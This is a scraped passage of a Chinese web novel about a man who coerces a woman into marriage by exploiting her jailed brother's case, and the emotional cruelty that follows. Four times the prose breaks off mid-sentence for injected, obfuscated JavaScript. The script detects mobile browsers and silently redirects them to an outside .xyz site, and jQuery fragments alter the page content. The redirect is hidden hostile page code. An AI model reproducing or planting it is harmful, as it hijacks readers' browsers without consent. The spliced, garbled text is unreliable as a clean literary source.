l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775175|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你管个几把。”赵叙平垂眸点烟。 江东铭:“我就是觉着你这事儿干得太疯,太癫,太他妈疯癫!” 赵叙平又不作声,徐徐吐一口烟圈。 过了会儿江东铭忽地想起什么,问:“你别是想娶人回家往死里揍吧?” 这话问得太蠢,赵叙平懒得接腔。 他不开口,江东铭以为是默认,拍了拍茶几:“哥们儿,虽然你跟她弟不共戴天,可她其实挺无辜的,你没必要往她身上撒气。再者说,咱俩当年第一天出去揍人就立过规矩,不揍老的,不揍姑娘,你丫不能破了规矩。” 赵叙平嫌他絮絮叨叨没完没了,心里烦,冷冷应道:“不会。” 江东铭更想不明白了:“那你娶她干嘛?结婚以后你俩抬头不见低头见,见着她就想起伊伊,想起伊伊你就难受,何必呢?自讨苦吃!这事儿赵叔章姨知道么?” 赵叙平摇头:“就你知道。嘴严实点儿,别往外抖落。” “放心,哥们儿靠得住,只是哥们儿不理解,怎么就——” 不等他说完,赵叙平叼着烟起身走人。 领完证,赵叙平又去找江东铭,给江东铭看小红本儿。 江东铭盯着小红本儿摇头拍手:“你俩真他妈绝配,一个敢娶,一个敢嫁。不是,你俩搁这儿拍京城虐恋呐?” “滚蛋。”赵叙平瞥他一眼,合起结婚证随手扔茶几上。 “赵总现在属于已婚人士,此时此刻,请问有什么感想?” “你他妈能不能闭嘴?” “嫌我絮叨?嫌我絮叨你上我这儿来干嘛!” “来这儿静静。” “你丫纯属有病。大把房子空着,非得上我这儿静静?靠,赵叙平,你别是喜欢我,故意跟周静烟形婚,方便以后肆无忌惮接近我?” 江东铭坐沙发上,身子往斜后方靠,离他老远。 以往他犯贱,赵叙平总会一脚踹过来,然而今天,赵叙平只是平静地看着他,以平静的语气问道:“东子,你觉着,什么是爱情?” 江东铭愣了片刻,摇头:“不知道,没谈过,小时候忙着打架,长大了忙着赚钱,没遇上合适的,也就不想瞎凑合。” 江东铭忽地起身,一步跨到赵叙平跟前,俯身抬手摸他脑门儿:“你这两天怎么跟个神经病似的?没发烧啊。” 说完,江东铭又坐回沙发上,点了根烟,转脸看着他:“不过,这也不是你头回抽风。看来时隔多年,又犯病了。” 赵叙平听得云里雾里:“什么啊?” 江东铭:“咱俩去美国那会儿你没抽风?妈的在国内打得昏天暗地,出了国你丫就不打了,成天学习,跟个装逼犯似的,瞅你丫内操行!老子到现在也想不明白,为什么啊,怎么就突然变了个人?” 赵叙平阴沉着脸静默半晌,弹了弹烟灰:“走前赵天成嘱咐过,出去别惹事儿。” 赵天成是他爹。 赵天成没说过这话,因为知道说了也没用,想着实在不行就让他回国,反正孽子已废,心如死灰,爱咋咋吧。 他俩出国后,得知赵叙平在外面规规矩矩的,赵天成也纳闷儿。 5. 第 5 章 赵叙平连着一星期没回来,周静烟和保姆住着大别墅,自在归自在,心里仍是忐忑不安。 看守所里关着她弟弟,她不知道这案子什么时候审,弟弟会被判多少年。 只差两个月就成年的赵庭伊死在大货车下,货车侧翻,司机与赵庭伊当场死亡,一同离去的,还有赵庭伊肚里的孩子。 如果那天周知宇不带赵庭伊私奔就好了;如果那天赵庭伊没能从家里逃出来就好了;如果那天死的人是她周静烟就好了…… 可又哪有那么多如果呢? 周静烟每分每秒都像被架在火上烤。 于理,她觉得周知宇判多少年都罪有应得;于情,她又心疼弟弟在牢里受罪。 她成日躲在卧室,吃得少,睡不好,清丽面庞又瘦了一圈,肌肤白得没血色,赵叙平回来那天,瞧着这张惨兮兮的脸,好半天没作声。 下楼找到芳姐,他问:“她每天都在家里做什么?” 芳姐直叹气:“周小姐成天把自个儿关屋里,有时候我送饭上去,有时候她下来吃,还不是顿顿都吃,一天能吃两顿就不错了,每次只吃几口就放筷子……赵先生,要不您带周小姐去医院查查?” 其实他俩都知道,周静烟得的是心病。 “她口淡,你做饭清淡点儿。”赵叙平说。 芳姐觉着冤,这几天做的已经淡得不能再淡,清汤寡水,她吃再多都不饱,干活也没力气,只能偷摸给自己开小灶,做些吃得出咸味儿的荤腥补充体力。 “连着好几天,周小姐一口肉都不吃,说是不爱吃,我也就不做了。要不您抽空带她去做个体检,看看是不是身体缺什么元素?”芳姐说得委婉。 她打心眼里觉着,女主人郁郁寡欢,无非是因为被冷落。上回俩人闹完,第二天男主人一走就是一个星期,夫妻之间,本该床头吵架床尾和,丈夫哪能冷落妻子这么久? 这男主人容貌气质经济条件样样顶尖,可却不是个好丈夫。 芳姐心疼周静烟,又害怕赵叙平,哪敢把话说得太直白。 赵叙平又回到楼上,见周静烟还跟刚才一样,坐沙发上看书,姿势没变过,他带着讥讽笑腔开口:“这么爱学习,怎么没考上清北?” 打小周静烟学习成绩就不太行,没少被老师骂笨。 他回来前,书上的字周静烟还能看进去点儿,他一回来,周静烟就什么也看不进了。看不进也得硬着头皮看,看书总比看他强。 周静烟害怕看见这张曾经日思夜想的脸。 这张脸面对她时,曾是平静的,淡然的,有一次甚至还是温柔的。 可那些在心里千回百转的过往已如云烟散去,这张脸现在留给她的,只有冰冷的恨意。 “没学习,看的闲书。”她小声回应。 书摊开放在腿上,周静烟低埋着头,眼也不眨盯着页面,两手紧攥着两边书角,书角被攥得发皱,手在微颤。 赵叙平往她身旁一坐,拿起书,合上看了看封面——《孙子兵法》。 赵叙平笑出声:“偷摸学招儿对付我呢?” 周静烟依然埋着头,双手合拢,放腿上交叉绞着:“我哪斗得过你……” “知道就好。”赵叙平将书往圆几上扔,啪的一声,吓得周静烟缩脖,他抬手抚上她后脖颈,更是吓得她往旁边挪。 赵叙平冷脸开口:“回来。” 她抖着身子回到原位。 “离我近点儿。” 放在腿上的手攥成拳,骨节撑得发白,她咬着唇将身子贴过去,胳膊碰到他胳膊。 赵叙平抬手搂她,握住她瘦削的肩头,眉心紧皱:“芳姐说你不吃东西。” “也吃的,只是有点儿少……” “吃得少,还不吃肉,怎么,结婚了又打算当尼姑?” 周静烟发现,这人不仅打架厉害,刻薄也很有一套,嘴毒得跟砒霜似的。 她遇事忍让惯了,性子软如棉花,宁愿吃哑巴亏也没底气跟人吵,何况这会儿面对的是赵叙平,更是敢怒不敢言,细声细气解释:“我吃不下。” “得吃啊,你不吃肉,你弟就得吃苦。”赵叙平淡笑着说。 周静烟终于抬头,转脸望向他,眼眶瞬间蓄满了泪。 他仍笑着,揽在她肩头的手往旁边移,移到后脖颈,指尖从那儿缓缓向下滑动。 她实在是瘦,小时候就瘦骨嶙峋,周家人个头都挺高,她亲爹一米八几,亲妈少说一米七,就她矮,好像小学毕业就不长个了,没准儿以前吃不饱,发育不良,才只长到一米六。 结婚那天瞧着只是清瘦单薄,还挺好看,短短一周没见,竟瘦成这样,后背像是皮包骨,脸也快脱相。 “周静烟,你多吃点儿,你弟在看守所能好受点儿。” “我吃!我会吃的,我多吃点儿,我吃肉!” 她不住地点头,泪珠也不住地从眼眶滚出。 赵叙平指尖仍在她脊骨游移,侧头面无表情瞧着这张泪湿的脸,过一小会儿,忽然笑了:“太瘦了抱着硌得慌。” 周静烟心想:你又没抱过我。 她点头保证:“我会把自己吃胖的!” 赵叙平摸摸她脸颊,冷笑着起身离开。 晚饭时周静烟逼着自己吃了小半碗肉,一整碗饭,兴许太久没吃这么多,强咽下去的后果是全吐了出来。 周静烟趴在洗脸池上吐,芳姐愁眉苦脸轻拍她后背,忽地一惊一乍:“哎呀,周小姐,您该不会是怀孕了吧?” 周静烟漱漱口,摇着头擦嘴。 芳姐越想越觉得是:“我去给您买验孕棒,或者陪您直接上医院检查?” 周静烟垂眸盯着洗脸池,又摇了摇头。 她和赵叙平都没做过,哪来的孩子? 芳姐:“您……您确定没怀?” 周静烟:“确定。” 芳姐想了想,说:“那估计是挺久没吃荤,忽然吃那么多肉,身体接受不了。这样,您先去休息,我煮点儿肉末粥,咱们先从少量来,再一点点加肉。” 周静烟被芳姐扶回卧室,躺床上发呆,手机在枕边震起来。 看见来电备注,周静烟红了眼眶,接通后,声音颤得不行:“琳琳……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775176|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那头沉默片刻,也哭了:“烟烟,这些天你还好吗?” 周静烟吸吸鼻子:“挺好的。” 沈琳不信:“真挺好?” 周静烟破涕为笑:“嗯,还以为你再也不理我了呢。” 沈琳故作生气,骂道:“你个没良心的,我不找你,你就不找我是吧?” 周静烟:“我、我怕你气还没消,想着过阵子再联系你……” 沈琳:“赵叙平欺负你没有?” 周静烟:“没,他对我挺好。” 沈琳像是听了个笑话:“你可拉倒吧,他要真对你好,他就不是赵叙平。烟烟我告诉你,伴君如伴虎,得能屈能伸,为了保护自己,做小伏低没什么错,不过他怎么欺负你的,你得一笔一笔在心里记着,以后但凡有机会,加倍让他还回来!” 周静烟嘴上应着,心里想:哪有这种机会啊。赵家倒了,赵叙平都不会倒。在赵叙平眼里,她只是一只蝼蚁。 沈琳又问:“他跟你签婚前协议了吧?” 周静烟:“签了。” 沈琳:“离婚一分钱也拿不到?” 周静烟:“嗯。不过他说这辈子都不会离,因为……” 沈琳:“因为得折磨你一辈子?” 周静烟喉咙堵得发不出声。 沈琳哽咽着问:“他、他没打你吧?” 周静烟:“没有,他很少回来,回来刻薄我几句就走。” 沈琳松一口气:“那还成……你俩,你俩——” 她支支吾吾,周静烟问:“我俩什么?” 沈琳:“你俩那个没?” 周静烟瞬间明白“那个”是“哪个”,脸微微烫:“没……” 她没谈过恋爱,沈琳也没谈过,可沈琳胆子比她大,性子比她硬,也比她更豁得出去。 沈琳叹了口气,压低声音:“要不……要不你勾引他试试?你弟那案子估计快开庭了,你多给他吹吹枕边风,万一他听进去了呢?” 周静烟苍白的脸上浮起绯红:“怎、怎么吹啊?” 沈琳:“看过片儿没?” 周静烟:“没……” 以前活着都费劲,哪有闲心看那个。 沈琳长长叹息:“等会儿我发你链接,你多找几部看看,照着女主穿的那些上网买,再多学学人家的招式,懂不懂?” 周静烟半天不吱声。 沈琳以为信号不好,“喂喂喂”了一会儿,她这才从嗓子里挤出一声:“嗯……” 沈琳接连叹气:“可惜姐们儿我跟你半斤八两,毫无实战经验,不然高低授你几招真传。咱们只能跟着片儿学。唉,‘学吧,艺无止境,太深了’。” 挂断电话,沈琳在微信上发来链接。 周静烟进网站就愣住,手指颤颤巍巍随便点一部,看得面红耳赤呼吸急促。 三天之内,周静烟拢共看了九部,照着其中三部买的衣服,她穷得响叮当,钱还得管沈琳借。 衣服陆续到货,酝酿一整天,下午六点,周静烟终于硬着头皮发出这条短信—— 【今晚回家么?】 6. 第 6 章 周静烟什么性子,赵叙平心里门儿清;她发这条短信什么目的,赵叙平心里也门儿清。 今天要是回去,等着他的一定是美人计。 凭周静烟那点智商跟眼界,想不出这一招,赵叙平猜到她背后有参谋,还猜到这参谋姓沈。 婚前赵叙平就把她周围人查了个遍。 周静烟人际关系简单,还在世的亲戚早已不来往,交情深的朋友只有沈琳。这个沈琳跟她半斤八两,都是家道中落的穷丫头,只是一个文静孬怂,一个泼辣生猛。 赵叙平想想沈琳给周静烟支招对付自己的场景就觉得好笑。 他仰面紧靠办公椅,懒散歪着头,嘴里叼根烟,盯着屏幕上那条短信看半天,手机一扔,什么也没回。 下班按计划去应酬,饭局上,赵叙平喝得少——没人敢灌他酒,一顿饭下来,他喝多少,取决于他自己想喝多少。 饭局结束,转战会所,酒水女销售往赵叙平身边凑,他头一回没撵。女销售以为赵公子开了窍,娇滴滴挽他胳膊,被他黑着脸甩开,只好老老实实坐旁边,不知这位爷到底怎么个意思。 凌晨两点才回去,赵叙平让司机往家里开。 玄关灯亮着,他站在昏黄光线中,低头看见自己影子,恍神那会儿忽然想:真的有平行世界吗? 平行世界里的周静烟,是不是也给晚归的他留了灯?那个世界里的她和他,为了什么而结婚? 因为爱情吗? 想到这儿赵叙平就清醒了。 他觉着今晚的酒不是一般烈,几杯下肚就把人喝成个傻逼。 主卧亮了盏落地灯,周静烟背对门侧躺,听见开门声,扭头一看,没想到他竟会回来,立马坐起身。 “哟,还没睡,等我呐?”赵叙平松着领带走到她跟前,解开几颗衬衫纽扣,领带松松垮垮挂脖子上,衬衫半敞,露出修长的脖颈和分明的锁骨。 他笑得吊儿郎当,语气戏谑,侧头半阖着眼瞧周静烟,瞧得她羞耻难安。 周静烟懂这个眼神意味着什么——他早料到她要演这么一出,压根没放在心上,回家也不过想看戏,招猫逗狗似的玩一玩她。 她现在既羞耻,又懊悔,心想还是大意了,他没回消息便以为他不回家,买的那种衣服没提前穿。 早知道他要回来,她肯定穿好躲被窝里等着,他一回来,就扑上去抱着啃,沈琳说过,没有男人会拒绝被相貌过得去的女人生扑。 这会儿她身上套着初三那年买的宽大T恤,年头久远,洗得跟破布似的,性缩力拉满,穿这衣服生扑赵叙平,她怕被踹飞。 周静烟手臂交叠抱住自己,低头避开他带刺的目光,嗓音发颤:“还以为你不回来……” 赵叙平俯身,双手撑在床上,脸凑过去,鼻尖几乎碰到她鼻尖。 “你希望我回,还是不回?”他用气声笑着问。 周静烟缩着脖子想躲,半边脸被他托住,又往上一抬,躲无可躲,不得不对上那道冰冷视线。 “你的房子,你想回就回。”她生怕惹恼他,答得小心翼翼。 他身上有烟酒味,还有淡淡的香味。 这香跟他衣服上的檀香不一样,周静烟闻得出来,这是香水,并且是女士香水——味道跟沈琳用的那种还挺像。 香水好闻,进了她鼻子里,却叫她鼻头发酸。 赵叙平笑道:“不想我回来,巴巴地发短信问我干嘛?” 她不作声,脸转向另一边,又被他另一只手托住给扳回来。 这回偏偏犯倔,脸被抬得老高都不肯再看他。 “演啊,怎么不演了?我等着看你使美人计。” 他一语点破,周静烟面颊红透,倒是比惨白着脸要动人许多。 “没演,不会美人计。”她睫毛颤个不停,仍不肯抬眸。 赵叙平冷哼,轻拍她脸颊:“确实不会,木头桩子似的,多跟你那公主朋友学学。” 最后半句周静烟听不明白,一时松懈,掀开眼皮看向他,目光懵懂:“什么公主?” 赵叙平:“这你得问沈琳。” 这话莫名其妙,周静烟更是不懂:“为什么问沈琳?” 赵叙平乐了:“她不就干这个?” 周静烟仍不懂,但从他脸上表情可以看出,他嘴里的“公主”可不是什么好词儿。 “琳琳在会所做酒水销售,是正经工作。”她一脸郑重纠正。 赵叙平笑出声:“正不正经她自个儿知道。” 周静烟就这么一个朋友,沈琳对她仗义,她也护着沈琳,听到沈琳被奚落,比自己受欺负还难受。 她撇撇嘴,梗着脖子瞪赵叙平:“琳琳恋爱都没谈过,你别胡说八道!” 赵叙平话锋一转:“她没谈过,你谈过没有?” 周静烟又不敢看他,垂下眼眸,摇了摇头。 赵叙平笑了:“还是个雏儿啊?” 周静烟咬紧牙关不作声。 他脸上笑意更深:“要不今晚我来验个货?” 周静烟咬牙咬得腮帮子发酸,还是没忍住,泪珠如雨,扑潄漱往下掉。 赵叙平手捧她脸颊,碰着她的泪,收回手冷眼打量她,笑容轻蔑:“不就是想我回来睡你么,装个什么劲儿,自己洗洗去。” 周静烟带着哭腔开口:“洗过了……” 他坐在床沿,摸出烟盒,掏打火机点烟:“那就去洗脸,大晚上丧着个脸给谁看?” 周静烟走进浴室,拧开盥洗池上的水龙头,捧起冷水冲脸,冲了一遍又一遍,擦干脸回来,他仍坐在原位,一手放背后抵在床上撑着身子,一手夹烟,朝半空中徐徐吐烟圈。 她站他跟前,低埋着头,小声开口:“洗好了。” 夹烟的那只手伸向床头柜,指间一松,半截烟掉进烟灰缸,接着,那只手伸向她腰间。 她的腰那么细那么细,软如柳叶,赵叙平怕自己稍稍用力便将这腰折断。他没搂太紧,只是轻揽着,掌心在她腰侧来回滑动。 “周静烟。”他唤她名字,忽然想起那句词——“炉香静逐游丝转”。 “嗯?”周静烟痒得厉害,紧绷着身子不敢动弹。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775177|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就你这种货色,哪个男人喜欢?”他轻声哼笑,“去会所公主都当不上。” 周静烟这才反应过来“公主”是什么。 好不容易止住的泪,瞬间又从眼眶涌出,她闻见赵叙平衬衫上的香水味,咬唇忍了片刻,没忍住,哽咽着嘀咕:“那你出去找公主吧。” 她能憋出这么句话,赵叙平属实没想到。 不过他今晚允许女销售坐自己身边,为的就是蹭上点儿香水味回来恶心周静烟。 目的达到,他高兴了,笑呵呵解开衬衫上剩下几颗纽扣:“我找公主,你不乐意?” “你爱找谁找谁。”周静烟死忍着没大哭,心口直疼,别过脸不看他。 赵叙平冷笑一声,脱掉衬衫扔床上,起身走向浴室。 周静烟抬手胡乱抹抹泪,听见那边关了浴室门,抓起衬衫往地上扔,回到床上,靠着床头抱腿坐,觉得这床沾了那衬衫也不干净,恨不得将四件套统统打包扔掉。 洗完澡出来,赵叙平看见地上的衬衫,愣了愣,没捡,也没作声,上床抱住她,二话不说便要吻,被她用力推开。 他搂着她不撒手,偏要吻,她偏不让,脑袋左转右转,躲得飞快。 几个回合下来,赵叙平失去耐心,冷着脸看她一会儿,说:“你让我回来的。” 周静烟胸口起起伏伏,大概是心如死灰,豁出去了,胆子也大了,脸色没比他好看多少:“我只是问你回不回来,又没逼你回来。” 赵叙平知道她在闹什么,沉默片刻,扬了扬下巴:“捡起来。” 周静烟抱着双臂低头装聋。 他胳膊肘碰碰她:“让你捡起来。” 装不了聋,她就装傻:“捡什么?” 赵叙平:“衬衫。” 周静烟没法再装,只得下床,捡起衬衫走进浴室,狠狠塞进洗衣机里。 “这就完了?”赵叙平盯着她,问。 她停在半路,抬头望向他,目光茫然。 赵叙平:“那衣服不能机洗,得手洗。” 周静烟:“哦,明早我拿下去给芳姐。” 赵叙平懒得跟她绕弯子:“你洗。” 周静烟抿着唇默默瞧他,瞧了许久,摇头:“我不洗。” “为什么?”其实他是知道的。 周静烟不吱声,回床上躺着,闭眼装死。 “艹,反了你还。”赵叙平骂道,心里压根不气,反倒有那么点儿爽。 “周静烟,”他压着嗓子警告,“赶紧洗衣服去,听到没有?” 周静烟一动不动,连呼吸都屏住了。 她双眼紧闭,嘴唇紧抿,身子紧绷,就这么僵硬地躺了好一会儿,直到憋不住气,用鼻子大口大口呼吸。 赵叙平在旁边看得直乐,忍着没笑出声。 他拍拍她胳膊:“周静烟,这个家我说话不好使了是么?” 话音刚落,周静烟一骨碌爬起来,飞快脱掉那件洗得松松垮垮,只能当睡衣穿的T恤,跨坐在他身上,冷冷垂眸。 “我不洗。你要就赶紧,不要就睡觉。” 7. 第 7 章 赵叙平蓦地怔住。 他平躺着,从下往上望周静烟,意外发现这种死亡角度下她竟然也挺好看。 其实在赵叙平眼里,她打小就好看,清纯秀丽,只不过太瘦,又不会打扮,整个人显得特寡淡。领证那天,头一回见她化妆,他愣了好几秒,恍然间有种陌生而熟悉的感觉。 “要不要的?”周静烟被他盯得难堪,别过脸小声问,身子微微扭了扭。 赵叙平不禁皱眉,强压住躁意,板着脸命令:“下去。” “不要啊?”她转回脸来,微侧着头斜睨他。 气到极致,连愤怒都是寡淡的,带了几分讥讽淡淡问这么一句,忍气吞声惯了,冷不丁豁出去,倒是较往日平添许多鲜活的风情。 赵叙平看得愣神,忽然转过脸,语气比先前更冷,不耐烦得很:“滚下去。” 周静烟从他身上下来,离得老远躺下,捞起薄被盖住自己。 脱了T恤她就只剩内衣裤,或许身材着实差强人意,又或许这人在外头已经被公主喂饱,总之,赵叙平对她没兴趣。 老话说得好:早死早超生。早发现美人计这条路行不通,以后也能省省力气。他爱怎么着怎么着,千刀万剐她都受着。 她闭上眼,耳旁传来动静,男人下了床,接着是关门声。 周静烟再睁眼时,卧室只剩她自己。 赵叙平去到隔壁客房,冲了几遍冷水澡,还是热,躺床上辗转反侧,片儿也看不进去,扔掉手机,俩眼一闭,脑子里全是周静烟。 平时打眼瞧去,瘦成豆芽菜,后背摸着也都是骨头,怎么前面该长的一点儿没少? 他心里想着周静烟,一回不够,又来一回,自己折腾许久才算完。 清早,赵叙平顶着黑眼圈起床,饭也不吃就走,刚出门又倒回来,递给芳姐一张卡,让她转交给周静烟,自己短信上将密码发给她。 到公司他又冲了遍凉水澡,火气散是散了,但没散尽,变成无名火压在心里,看什么都不顺眼,冷脸一整天。 下班后赵叙平哪儿也没去,留办公室查资料,仍是心烦意乱,砰地扣上笔记本,掏出手机,没见周静烟回一个字儿,心里窝火得厉害,拨通芳姐电话。 “卡给她了么?”赵叙平问。 “赵先生,周小姐不要您的卡。”芳姐如实答道。 赵叙平眉心忽皱,火气窜上来:“她不要?” 芳姐在那头听出怒意,委婉替他找台阶:“那个……周小姐看样子是个自立自强的人,可能觉得用您的钱不太好。” 赵叙平:“你告诉她,拿着卡给自个儿买点像样的穿,把那些破烂衣服扔了,省得丢人。” 芳姐连声应下。 她算是看出来了,这对夫妻,一个比一个犟,早上周小姐死活不肯收卡,晚上赵先生死活逼着她收,她夹在中间迂回,极度考验情商。 芳姐又拿着卡上楼,叩响主卧房门。 周静烟以为她是来送宵夜,正想说不吃,看见她手里的卡,无奈摇头:“你把卡还给他吧,我真不需要。” 芳姐想着,赵先生原话刻薄,逐字转达肯定会伤她心,便笑了笑,说:“赵先生让我转告您,说看您没带什么衣服过来,希望您收下卡,多给自己买些衣服,趁年轻好好打扮。” 这话能从赵叙平嘴里出来,那可真是有鬼叫,周静烟自然不信。 不过她见芳姐笑得勉强,心知人家夹在中间不好做人,自己要是再不收,为难的只有芳姐。 她从芳姐手里接过卡,芳姐表情瞬间轻松下来,发自内心笑道:“这就对了嘛!赵先生是您丈夫,用他的钱,应该的!” 回到房间,周静烟盘腿坐在床上,盯着卡看了又看,不知该怎么办,给卡拍了张照片微信发给沈琳。 沈琳:【新办的?】 周静烟:【赵叙平给的,估计是嫌我穷酸,怕给他丢人,让我买点儿好衣服。】 沈琳:【!!!你俩是不是睡了?】 周静烟:【嗐,别提了……昨晚强上未遂……】 沈琳:【?怎么个事儿?你瘦归瘦,胸挺大的啊,怎么还能未遂?!】 周静烟:【大就好看吗?我觉得自己身材很一般,他肯定瞧不上。】 沈琳:【他推开你了?】 周静烟红着脸坦白:【我坐他身上,他让我滚下去……】 沈琳:【靠,他是不是不行啊!】 周静烟:【谁知道呢……】 沈琳:【难怪这么些年也没传出个绯闻来[流汗]烟烟,这卡你必须收,拿着到处刷,狠狠刷,毕竟以后得守一辈子活寡[抱抱]】 看到这话,周静烟也立马懂了:为什么这些年赵叙平一直单着,为什么他的私生活始终清白…… 原来不是不想,而是不行。 周静烟长长叹息:【那我收下这卡,他会不会觉得我拜金,心里不高兴,又去为难知宇?】 沈琳:【都什么时候了你还管周知宇!他十九岁!成年了!理应为自己的行为负责!说句不好听的,他就是被赵叙平弄死,也跟你没关系!间接害死赵庭伊的又不是你!周静烟,给我清醒点好吗?你不欠赵叙平任何!任!何!!!】 沈琳:【你从这卡里转些钱到自己卡上,能转多少转多少,然后别花自己卡上的,只花他的,明白吗?他拿你弟威胁你结婚,不准你干这不准你干那,跟买断你青春有什么区别?他对你狠,你凭什么对他客气?给我狠狠花他的钱!往死里花!听见没有???】 周静烟反反复复看着这些话,越发认为有道理,给沈琳回了个“OK”的表情,仰头长舒一口气。 隔天,周静烟拿着卡出门。 她没按沈琳说的,将卡里的钱转出一部分给自己,而是直接去商场刷卡买东西。 以前买衣服只讲究实惠耐穿,这次不一样,最主要看漂不漂亮。 销售们都是人精,嘴上功夫厉害,她穿什么都直夸好看,把她吹上天,她偷摸瞧价格,心里嫌太贵,可人家个个围着她伺候这么久,不好意思不买,想想刷的是赵叙平的卡,到底全要了,从头到脚什么品类都拿了些。 拎着大包小包出来,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775178|174675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静烟想起脸上抹的还没买,又回去买护肤品和化妆品。 到家感觉累瘫,动得多体力消耗大,她难得有胃口,米饭吃了满满一碗,肉和菜也比往常分量多。 周静烟从没这么潇洒地消费过,头回体验这种滋味,新鲜又舒坦,躺床上望着天花板感慨:还是得有钱啊,有钱谁都高看你一眼,围着你团团转。 她去洗了个澡,把白天买的服装全都拿出来试一遍,每试一样,就拍张照发给沈琳。 沈琳这会儿没上班,有功夫闲聊,挨个评价她买的东西,最后得出结论——【你审美还是可以的嘛!】 周静烟高兴坏了:【真的?我以为那些销售在拍马屁呢!】 沈琳:【肯定有拍马屁的成分,但你挑的确实好看,而且其实你底子不差,虽然个子不高,胜在头小脸小,五官清秀,身材也纤细苗条。当然啦,再胖个几斤最好!】 最后那条一字肩杏色修身连衣裙周静烟舍不得脱,一直穿着,闲得无聊又拿出新买的化妆品开始捣鼓。 以前勤工俭学,课余时间到处找兼职,节假日她在超市干过导购,主管要求必须化妆,她就跟着沈琳学了点儿。 上回赵叙平警告她多吃东西,她慢慢增加饭量,脸色比先前好些,今天吃得更多,心情也好,面颊红润起来,化完底妆不抹腮红也漂亮。 周静烟长了对杏眼,大大的,亮亮的,偏圆,因为受了太多苦,这双眼睛总是含着诉不清也诉不尽的委屈,瞧着楚楚可怜,怪惹人疼惜。 沈琳说过,她这种眼型化妆效果最出彩。化得柔点儿,特显纯;化得媚点儿;特显欲;化得又柔又媚,那就是又纯又欲,特让男人受不了。 周静烟想起这话,照她教过的法子给自己化眼妆,化完自拍发过去,沈琳直接弹来视频,大呼小叫直夸她美得不像话。 她再三问:“真的吗?” 沈琳再三回答:“真的真的千真万确!” 要不是沈琳赶着上班,俩人谁也舍不得挂视频。 周静烟在镜子前站了半晌。 她很久没这么开心过,想着如果赵叙平能看在自己嫁给他的份儿上,别为难知宇,如果赵叙平经常不回来,回来也不碰她,日子似乎没那么糟。 仔细一琢磨,有钱有闲,还挺好。 正美滋滋畅想,门咔嗒开了,周静烟扭头望去,见赵叙平出现在门口,赶紧起身。 “怎么——”怎么回来了?话问一半她便止住,心想这是他的房子,他回来再正常不过。 赵叙平斜倚门框,双手揣裤兜,歪着脑袋瞧她,她走近闻到酒味儿,才发现这人醉得厉害,俩眼迷迷瞪瞪,目光钉在她身上。 “喝这么多……”周静烟小声嘀咕,被他瞧得不自在,低头看地板,刚想劝他以后少喝点儿,这人忽地扑过来,紧搂着她不撒手。 “哎你!”周静烟慌忙挣扎,哪里挣得开。 男人紧箍她细腰,托起她下巴,盯着这张妆点过的面庞,薄唇动了动,却没作声,目不转睛瞧她良久,轻声吐出三个字—— “媳妇儿。” 8. 第 8 章 这两天赵叙平过得极不安生,心浮气躁,气血乱涌,实在受不了,下班就约朋友去夜店喝大酒。 江东铭跟另外几个先到卡座,点了酒边喝边聊,等他一到,那几个都问他最近忙什么,怎么挺久见不着。 江东铭瞥瞥他,心说:忙结婚呗。 他横了眼江东铭,目光警告:你丫闭嘴。 “新项目刚落地,忙得连轴转。”赵叙平说。 江东铭没忍住,噗嗤笑出声,伸手过去跟他碰了碰杯:“什么新项目啊?听着这么牛逼。” 话里有话,赵叙平懒得理他,闷头喝酒。 大家见他跟往常不一样,既不说笑也不玩闹,只是一杯接一杯灌自己,除了江东铭,谁都搞不清状况。 江东铭看出他心里苦,暗骂活该,谁叫他不听劝,非要跟周静烟结这个婚? 趁着赵叙平去洗手间,江东铭也起身跟过去。 “都说新婚燕尔如胶似漆,赵总怎么不回家陪媳妇儿?”他这人,跟谁都斯文,只在赵叙平面前欠嗖嗖。 赵叙平没拿正眼瞧他。 洗手那会儿,他又凑过来,压低嗓音问:“平哥,跟媳妇儿吵架了?” 上回该挨的那一脚虽迟但到,赵叙平抬腿踹过去,他反应敏锐,迅速躲开,嘴上仍不消停:“婚都结了,还能离咋的?不行赶紧回家给媳妇儿认个错,跪跪搓衣板儿,争取从轻发落。” 赵叙平没心思陪他闹,默不作声回卡座继续喝。 周围音乐节奏轻快律动强,可不知怎么,他耳边尽是江东铭的声音,循环播放着三个字。 “媳妇儿。” “媳妇儿。” “媳妇儿。” …… 舞池里人群疯狂扭动。 他面无表情看着那些凹凸有致的身体,忽然感觉怪异——怎么一个个的,全是他媳妇儿的脸? 